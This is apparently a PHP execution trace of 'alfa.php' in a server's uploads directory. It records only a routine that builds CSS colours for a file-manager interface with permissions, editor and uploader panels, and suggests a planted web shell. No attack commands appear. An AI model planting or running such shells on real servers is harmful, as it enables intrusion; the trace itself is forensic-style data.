4		A						/var/www/html/uploads/alfa.php	637	$css .= '.main .main_name{color: #FFFFFF;font-weight: unset;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'main_size'
5	180	0	0.021687	2800408	alfa_getColor	1		/var/www/html/uploads/alfa.php	630	1	'main_size'
5		A						/var/www/html/uploads/alfa.php	618	$target = '#67ABDF'
5	180	1	0.021711	2800408
5	180	R			'#67ABDF'
4		A						/var/www/html/uploads/alfa.php	630	$value = '#67ABDF'
4		A						/var/www/html/uploads/alfa.php	631	$css .= '.main_size{color: #67ABDF;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'main_modify'
5	181	0	0.021758	2800408	alfa_getColor	1		/var/www/html/uploads/alfa.php	630	1	'main_modify'
5		A						/var/www/html/uploads/alfa.php	618	$target = '#67ABDF'
5	181	1	0.021782	2800408
5	181	R			'#67ABDF'
4		A						/var/www/html/uploads/alfa.php	630	$value = '#67ABDF'
4		A						/var/www/html/uploads/alfa.php	631	$css .= '.main_modify{color: #67ABDF;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'main_owner_group'
5	182	0	0.021827	2800664	alfa_getColor	1		/var/www/html/uploads/alfa.php	630	1	'main_owner_group'
5		A						/var/www/html/uploads/alfa.php	618	$target = '#67ABDF'
5	182	1	0.021851	2800664
5	182	R			'#67ABDF'
4		A						/var/www/html/uploads/alfa.php	630	$value = '#67ABDF'
4		A						/var/www/html/uploads/alfa.php	631	$css .= '.main_owner_group{color: #67ABDF;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'main_green_perm'
5	183	0	0.021896	2800664	alfa_getColor	1		/var/www/html/uploads/alfa.php	630	1	'main_green_perm'
5		A						/var/www/html/uploads/alfa.php	618	$target = '#25ff00'
5	183	1	0.021919	2800664
5	183	R			'#25ff00'
4		A						/var/www/html/uploads/alfa.php	630	$value = '#25ff00'
4		A						/var/www/html/uploads/alfa.php	631	$css .= '.main_green_perm{color: #25ff00;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'main_red_perm'
5	184	0	0.021964	2800664	alfa_getColor	1		/var/www/html/uploads/alfa.php	630	1	'main_red_perm'
5		A						/var/www/html/uploads/alfa.php	618	$target = '#FF0000'
5	184	1	0.021988	2800664
5	184	R			'#FF0000'
4		A						/var/www/html/uploads/alfa.php	630	$value = '#FF0000'
4		A						/var/www/html/uploads/alfa.php	631	$css .= '.main_red_perm{color: #FF0000;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'main_white_perm'
5	185	0	0.022033	2800664	alfa_getColor	1		/var/www/html/uploads/alfa.php	630	1	'main_white_perm'
5		A						/var/www/html/uploads/alfa.php	618	$target = '#FFFFFF'
5	185	1	0.022056	2800664
5	185	R			'#FFFFFF'
4		A						/var/www/html/uploads/alfa.php	630	$value = '#FFFFFF'
4		A						/var/www/html/uploads/alfa.php	631	$css .= '.main_white_perm{color: #FFFFFF;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'beetween_perms'
5	186	0	0.022101	2800664	alfa_getColor	1		/var/www/html/uploads/alfa.php	630	1	'beetween_perms'
5		A						/var/www/html/uploads/alfa.php	618	$target = '#FFFFFF'
5	186	1	0.022124	2800664
5	186	R			'#FFFFFF'
4		A						/var/www/html/uploads/alfa.php	630	$value = '#FFFFFF'
4		A						/var/www/html/uploads/alfa.php	631	$css .= '.beetween_perms{color: #FFFFFF;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'main_actions'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.main .actions'
5	187	0	0.022178	2800664	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'main_actions'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main .actions' => 'color: {color};']]
5	187	1	0.022210	2800664
5	187	R			'#FFFFFF'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#FFFFFF'
5	188	0	0.022234	2800664	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	188	1	0.022248	2800800
5	188	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.main .actions{color: #FFFFFF;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'minimize_editor_background'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.minimized-wrapper'
5	189	0	0.022306	2800640	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'minimize_editor_background'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#0e304a', 'multi_selector' => ['.minimized-wrapper' => 'background-color: {color};']]
5	189	1	0.022337	2800640
5	189	R			'#0e304a'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#0e304a'
5	190	0	0.022361	2800640	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#0e304a'	'background-color: {color};'
5	190	1	0.022377	2800792
5	190	R			'background-color: #0e304a;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'background-color: #0e304a;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.minimized-wrapper{background-color: #0e304a;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'minimize_editor_text'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.minimized-text'
5	191	0	0.022438	2800656	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'minimize_editor_text'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#f5deb3', 'multi_selector' => ['.minimized-text' => 'color: {color};']]
5	191	1	0.022469	2800656
5	191	R			'#f5deb3'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#f5deb3'
5	192	0	0.022493	2800656	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#f5deb3'	'color: {color};'
5	192	1	0.022509	2800792
5	192	R			'color: #f5deb3;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'color: #f5deb3;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.minimized-text{color: #f5deb3;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'editor_border'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.editor-explorer,.editor-modal'
5	193	0	0.022568	2800896	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'editor_border'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#0e304a', 'multi_selector' => ['.editor-explorer,.editor-modal' => 'border: 2px solid {color};']]
5	193	1	0.022599	2800896
5	193	R			'#0e304a'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#0e304a'
5	194	0	0.022623	2800896	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#0e304a'	'border: 2px solid {color};'
5	194	1	0.022639	2801048
5	194	R			'border: 2px solid #0e304a;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'border: 2px solid #0e304a;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.editor-explorer,.editor-modal{border: 2px solid #0e304a;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'editor_background'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.editor-explorer,.editor-modal'
5	195	0	0.022701	2800912	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'editor_background'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => 'rgba(0, 1, 23, 0.94)', 'multi_selector' => ['.editor-explorer,.editor-modal' => 'background-color: {color};']]
5	195	1	0.022734	2800912
5	195	R			'rgba(0, 1, 23, 0.94)'
4		A						/var/www/html/uploads/alfa.php	635	$color = 'rgba(0, 1, 23, 0.94)'
5	196	0	0.022760	2800912	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'rgba(0, 1, 23, 0.94)'	'background-color: {color};'
5	196	1	0.022777	2801088
5	196	R			'background-color: rgba(0, 1, 23, 0.94);'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'background-color: rgba(0, 1, 23, 0.94);'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.editor-explorer,.editor-modal{background-color: rgba(0, 1, 23, 0.94);}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'editor_header_background'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.editor-header'
5	197	0	0.022845	2800936	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'editor_header_background'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => 'rgba(21, 66, 88, 0.93)', 'multi_selector' => ['.editor-header' => 'background-color: {color};']]
5	197	1	0.022877	2800936
5	197	R			'rgba(21, 66, 88, 0.93)'
4		A						/var/www/html/uploads/alfa.php	635	$color = 'rgba(21, 66, 88, 0.93)'
5	198	0	0.022903	2800936	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'rgba(21, 66, 88, 0.93)'	'background-color: {color};'
5	198	1	0.022919	2801112
5	198	R			'background-color: rgba(21, 66, 88, 0.93);'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'background-color: rgba(21, 66, 88, 0.93);'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.editor-header{background-color: rgba(21, 66, 88, 0.93);}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'editor_header_text'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.editor-path'
5	199	0	0.022981	2800936	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'editor_header_text'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#00ff7f', 'multi_selector' => ['.editor-path' => 'color: {color};']]
5	199	1	0.023010	2800936
5	199	R			'#00ff7f'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#00ff7f'
5	200	0	0.023034	2800936	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#00ff7f'	'color: {color};'
5	200	1	0.023048	2801072
5	200	R			'color: #00ff7f;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'color: #00ff7f;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.editor-path{color: #00ff7f;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'editor_header_button'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.close-button, .editor-minimize'
5	201	0	0.023106	2800896	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'editor_header_button'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#1d5673', 'multi_selector' => ['.close-button, .editor-minimize' => 'background-color: {color};']]
5	201	1	0.023137	2800896
5	201	R			'#1d5673'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#1d5673'
5	202	0	0.023161	2800896	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#1d5673'	'background-color: {color};'
5	202	1	0.023177	2801048
5	202	R			'background-color: #1d5673;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'background-color: #1d5673;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.close-button, .editor-minimize{background-color: #1d5673;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'editor_actions'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.editor_actions'
5	203	0	0.023240	2801168	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'editor_actions'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.editor_actions' => 'color: {color};']]
5	203	1	0.023269	2801168
5	203	R			'#FFFFFF'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#FFFFFF'
5	204	0	0.023293	2801168	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	204	1	0.023307	2801304
5	204	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.editor_actions{color: #FFFFFF;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'editor_file_info_vars'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.editor_file_info_vars'
5	205	0	0.023365	2801152	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'editor_file_info_vars'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.editor_file_info_vars' => 'color: {color};']]
5	205	1	0.023394	2801152
5	205	R			'#FFFFFF'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#FFFFFF'
5	206	0	0.023421	2801152	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	206	1	0.023435	2801288
5	206	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.editor_file_info_vars{color: #FFFFFF;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'editor_file_info_values'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.filestools'
5	207	0	0.023493	2801152	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'editor_file_info_values'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#67ABDF', 'multi_selector' => ['.filestools' => 'color: {color};']]
5	207	1	0.023522	2801152
5	207	R			'#67ABDF'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#67ABDF'
5	208	0	0.023547	2801152	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#67ABDF'	'color: {color};'
5	208	1	0.023561	2801288
5	208	R			'color: #67ABDF;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'color: #67ABDF;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.filestools{color: #67ABDF;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'editor_history_header'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.hheader-text,.history-clear'
5	209	0	0.023619	2801152	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'editor_history_header'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#14ff07', 'multi_selector' => ['.hheader-text,.history-clear' => 'color: {color};']]
5	209	1	0.023650	2801152
5	209	R			'#14ff07'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#14ff07'
5	210	0	0.023674	2801152	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#14ff07'	'color: {color};'
5	210	1	0.023689	2801288
5	210	R			'color: #14ff07;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'color: #14ff07;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.hheader-text,.history-clear{color: #14ff07;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'editor_history_list'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.editor-file-name'
5	211	0	0.023747	2801152	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'editor_history_list'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#03b3a3', 'multi_selector' => ['.editor-file-name' => 'color: {color};']]
5	211	1	0.023776	2801152
5	211	R			'#03b3a3'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#03b3a3'
5	212	0	0.023800	2801152	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#03b3a3'	'color: {color};'
5	212	1	0.023816	2801288
5	212	R			'color: #03b3a3;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'color: #03b3a3;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.editor-file-name{color: #03b3a3;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'editor_history_selected_file'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.is_active'
5	213	0	0.023873	2801152	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'editor_history_selected_file'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => 'rgba(49, 55, 93, 0.77)', 'multi_selector' => ['.is_active' => 'background-color: {color};']]
5	213	1	0.023905	2801152
5	213	R			'rgba(49, 55, 93, 0.77)'
4		A						/var/www/html/uploads/alfa.php	635	$color = 'rgba(49, 55, 93, 0.77)'
5	214	0	0.023930	2801152	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'rgba(49, 55, 93, 0.77)'	'background-color: {color};'
5	214	1	0.023947	2801328
5	214	R			'background-color: rgba(49, 55, 93, 0.77);'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'background-color: rgba(49, 55, 93, 0.77);'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.is_active{background-color: rgba(49, 55, 93, 0.77);}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'editor_history_file:hover'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.file-holder > .history:hover'
5	215	0	0.024014	2801704	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'editor_history_file:hover'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#646464', 'multi_selector' => ['.file-holder > .history:hover' => 'background-color: {color};']]
5	215	1	0.024046	2801704
5	215	R			'#646464'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#646464'
5	216	0	0.024070	2801704	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#646464'	'background-color: {color};'
5	216	1	0.024086	2801856
5	216	R			'background-color: #646464;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'background-color: #646464;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.file-holder > .history:hover{background-color: #646464;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'input_box_border'
4		A						/var/www/html/uploads/alfa.php	634	$k = 'input[type=text],textarea'
5	217	0	0.024148	2801680	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'input_box_border'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['input[type=text],textarea' => 'border: 1px solid {color}']]
5	217	1	0.024179	2801680
5	217	R			'#0E304A'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#0E304A'
5	218	0	0.024204	2801680	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#0E304A'	'border: 1px solid {color}'
5	218	1	0.024219	2801832
5	218	R			'border: 1px solid #0E304A'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'border: 1px solid #0E304A'
4		A						/var/www/html/uploads/alfa.php	637	$css .= 'input[type=text],textarea{border: 1px solid #0E304A}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'input_box_text'
4		A						/var/www/html/uploads/alfa.php	634	$k = 'input[type=text],textarea'
5	219	0	0.024280	2801680	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'input_box_text'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#999999', 'multi_selector' => ['input[type=text],textarea' => 'color: {color};']]
5	219	1	0.024311	2801680
5	219	R			'#999999'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#999999'
5	220	0	0.024335	2801680	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#999999'	'color: {color};'
5	220	1	0.024349	2801816
5	220	R			'color: #999999;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'color: #999999;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= 'input[type=text],textarea{color: #999999;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'input_box:hover'
4		A						/var/www/html/uploads/alfa.php	634	$k = 'input[type=text]:hover,textarea:hover'
5	221	0	0.024409	2801664	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'input_box:hover'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=text]:hover,textarea:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5	221	1	0.024442	2801664
5	221	R			'#27979B'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#27979B'
5	222	0	0.024466	2801664	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:1px solid {color};'
5	222	1	0.024482	2801840
5	222	R			'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= 'input[type=text]:hover,textarea:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'select_box_border'
4		A						/var/www/html/uploads/alfa.php	634	$k = 'select'
5	223	0	0.024547	2801704	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'select_box_border'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['select' => 'border: 1px solid {color}']]
5	223	1	0.024577	2801704
5	223	R			'#0E304A'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#0E304A'
5	224	0	0.024601	2801704	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#0E304A'	'border: 1px solid {color}'
5	224	1	0.024634	2801856
5	224	R			'border: 1px solid #0E304A'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'border: 1px solid #0E304A'
4		A						/var/www/html/uploads/alfa.php	637	$css .= 'select{border: 1px solid #0E304A}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'select_box_text'
4		A						/var/www/html/uploads/alfa.php	634	$k = 'select'
5	225	0	0.024694	2801680	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'select_box_text'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#FFFFEE', 'multi_selector' => ['select' => 'color: {color};']]
5	225	1	0.024724	2801680
5	225	R			'#FFFFEE'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#FFFFEE'
5	226	0	0.024748	2801680	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#FFFFEE'	'color: {color};'
5	226	1	0.024762	2801816
5	226	R			'color: #FFFFEE;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'color: #FFFFEE;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= 'select{color: #FFFFEE;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'select_box:hover'
4		A						/var/www/html/uploads/alfa.php	634	$k = 'select:hover'
5	227	0	0.024819	2801664	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'select_box:hover'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#27979B', 'multi_selector' => ['select:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5	227	1	0.024851	2801664
5	227	R			'#27979B'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#27979B'
5	228	0	0.024874	2801664	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:1px solid {color};'
5	228	1	0.024891	2801840
5	228	R			'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= 'select:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'button_border'
4		A						/var/www/html/uploads/alfa.php	634	$k = 'input[type=submit],.button,#addup'
5	229	0	0.024955	2801704	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'button_border'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit],.button,#addup' => 'border: 1px solid {color};']]
5	229	1	0.024987	2801704
5	229	R			'#27979B'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#27979B'
5	230	0	0.025010	2801704	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#27979B'	'border: 1px solid {color};'
5	230	1	0.025030	2801856
5	230	R			'border: 1px solid #27979B;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'border: 1px solid #27979B;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= 'input[type=submit],.button,#addup{border: 1px solid #27979B;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'button:hover'
4		A						/var/www/html/uploads/alfa.php	634	$k = 'input[type=submit]:hover'
5	231	0	0.025093	2801680	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'button:hover'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit]:hover' => 'box-shadow:0 0 4px {color};border:2px solid {color};', '.button:hover,#addup:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5	231	1	0.025127	2801680
5	231	R			'#27979B'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#27979B'
5	232	0	0.025151	2801680	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:2px solid {color};'
5	232	1	0.025168	2801856
5	232	R			'box-shadow:0 0 4px #27979B;border:2px solid #27979B;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'box-shadow:0 0 4px #27979B;border:2px solid #27979B;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= 'input[type=submit]:hover{box-shadow:0 0 4px #27979B;border:2px solid #27979B;}'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.button:hover,#addup:hover'
5	233	0	0.025222	2802216	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'button:hover'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit]:hover' => 'box-shadow:0 0 4px {color};border:2px solid {color};', '.button:hover,#addup:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5	233	1	0.025259	2802216
5	233	R			'#27979B'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#27979B'
5	234	0	0.025283	2802216	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:1px solid {color};'
5	234	1	0.025300	2802392
5	234	R			'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.button:hover,#addup:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'outputs_text'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.ml1'
5	235	0	0.025364	2802216	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'outputs_text'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#67ABDF', 'multi_selector' => ['.ml1' => 'color: {color};']]
5	235	1	0.025393	2802216
5	235	R			'#67ABDF'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#67ABDF'
5	236	0	0.025417	2802216	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#67ABDF'	'color: {color};'
5	236	1	0.025432	2802352
5	236	R			'color: #67ABDF;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'color: #67ABDF;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.ml1{color: #67ABDF;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'outputs_border'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.ml1'
5	237	0	0.025488	2802176	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'outputs_border'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.ml1' => 'border: 1px solid {color};']]
5	237	1	0.025519	2802176
5	237	R			'#0E304A'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#0E304A'
5	238	0	0.025543	2802176	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#0E304A'	'border: 1px solid {color};'
5	238	1	0.025559	2802328
5	238	R			'border: 1px solid #0E304A;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'border: 1px solid #0E304A;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.ml1{border: 1px solid #0E304A;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'uploader_border'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.inputfile'
5	239	0	0.025619	2802192	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'uploader_border'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.inputfile' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5	239	1	0.025651	2802192
5	239	R			'#0E304A'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#0E304A'
5	240	0	0.025675	2802192	str_replace	0		/var/www/html/uploads/alfa.php	636	3	'{color}'	'#0E304A'	'box-shadow:0 0 4px {color};border:1px solid {color};'
5	240	1	0.025692	2802368
5	240	R			'box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;'
4		A						/var/www/html/uploads/alfa.php	636	$code = 'box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;'
4		A						/var/www/html/uploads/alfa.php	637	$css .= '.inputfile{box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;}'
4		A						/var/www/html/uploads/alfa.php	628	$key = 'uploader_background'
4		A						/var/www/html/uploads/alfa.php	634	$k = '.inputfile strong'
5	241	0	0.025755	2802216	alfa_getColor	1		/var/www/html/uploads/alfa.php	635	1	'uploader_background'
5		A						/var/www/html/uploads/alfa.php	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.inputfile strong' => 'background-color: {color};']]
5	241	1	0.025787	2802216
5	241	R			'#0E304A'
4		A						/var/www/html/uploads/alfa.php	635	$color = '#0E304A'
